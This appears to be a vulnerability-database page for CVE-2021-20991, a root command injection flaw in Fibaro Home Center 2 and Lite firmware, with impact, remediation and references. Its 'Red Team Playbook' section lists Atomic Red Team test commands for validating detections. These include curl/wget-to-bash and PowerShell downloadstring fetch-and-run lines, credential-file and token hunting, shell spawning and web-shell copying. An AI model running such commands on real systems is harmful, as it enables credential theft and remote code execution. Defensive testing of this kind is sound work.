CVE-2021-20991
Overview
This vulnerability is a command injection flaw in Fibaro Home Center 2 and Lite devices running firmware version 4.540 and older. The root cause lies in improper input validation within a component handling user-supplied commands, allowing an authenticated user to execute arbitrary shell commands with root privileges. The affected component is the command execution interface in the device's firmware.
Vulnerability Description
In Fibaro Home Center 2 and Lite devices with firmware version 4.540 and older an authenticated user can run commands as root user using a command injection vulnerability.
Impact
An attacker with valid authentication can execute arbitrary commands as the root user on the affected Fibaro devices, enabling full system compromise. This includes the ability to manipulate device configuration, access sensitive data, and disrupt device operations. The vulnerability requires no user interaction beyond authentication and can be exploited remotely over the network (CVSS vector AV:N/AC:L/PR:N/UI:N), significantly elevating the risk of unauthorized control and lateral movement within the network environment.
Solution
Fibaro has addressed this issue in firmware versions released after 4.540. Users should upgrade to the latest firmware version for Home Center 2 and Home Center Lite as detailed in the advisory at https://www.iot-inspector.com/blog/advisory-fibaro-home-center/. The advisory provides step-by-step instructions for firmware upgrades. No official workaround is documented; therefore, prompt application of the vendor-supplied firmware update is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Fibaro Home Center 2 and Lite devices arises from a command injection flaw that allows authenticated users to execute arbitrary commands with root privileges. This issue is primarily rooted in improper input validation within the firmware, specifically in how user-supplied data is processed. When an authenticated user interacts with the device's command interface, the lack of stringent checks on the input can lead to the execution of malicious commands. This vulnerability is particularly concerning as it enables attackers to escalate their privileges, gaining full control over the affected devices without requiring any physical access or advanced hacking skills.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with valid credentials could leverage the command injection flaw to execute system-level commands, potentially leading to a complete takeover of the device. For instance, an attacker could manipulate the device to alter its configuration, disable security features, or even pivot to other devices on the same network. Scenarios could include using the compromised device as a launchpad for further attacks, such as accessing sensitive information from other connected smart home devices or infiltrating the broader home network. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly alarming.
The real-world impact of this vulnerability on businesses and individuals can be substantial. For consumers, compromised smart home devices can lead to privacy violations, unauthorized surveillance, and control over home automation systems. For businesses, particularly those in the IoT sector, the repercussions can extend beyond financial losses to include reputational damage and legal liabilities. A successful exploit could result in unauthorized access to sensitive customer data or disruption of services, which could erode customer trust and lead to regulatory scrutiny. The high CVSS score of 8.8 indicates that the risk is significant, emphasizing the need for immediate attention to this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware to the latest versions is crucial, as manufacturers often release patches to address known vulnerabilities. Additionally, employing network segmentation can help isolate smart home devices from critical business systems, reducing the potential impact of an exploit. Monitoring network traffic for unusual patterns or unauthorized access attempts can also aid in early detection of exploitation attempts. Furthermore, educating users about the importance of strong, unique passwords for their devices can reduce the likelihood of unauthorized access.
In conclusion, the command injection vulnerability in Fibaro Home Center devices poses a serious threat to both individual users and businesses. Its ability to allow authenticated users to execute arbitrary commands as root highlights the critical need for robust input validation and security practices in IoT devices. By understanding the technical details, potential attack vectors, and real-world implications, stakeholders can better prepare to defend against such vulnerabilities. Proactive measures, including timely updates and user education, are essential to mitigate risks and protect against the exploitation of this and similar vulnerabilities in the future.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fibaro | Home Center 2 Firmware | All |
cpe:2.3:o:fibaro:home_center_2_firmware:*:*:*:*:*:*:*:*
|
|
|
Fibaro | Home Center Lite Firmware | All |
cpe:2.3:o:fibaro:home_center_lite_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-20991 |
| iot-inspector.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.iot-inspector.com/blog/advisory-fibaro-home-center/ |
| seclists.org |
GitHub CVE
mailing-list
x_refsource_FULLDISC
|
http://seclists.org/fulldisclosure/2021/Apr/27 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162243/Fibaro-Home-Center-MITM-Missing-Authentication-Code-Execution.html |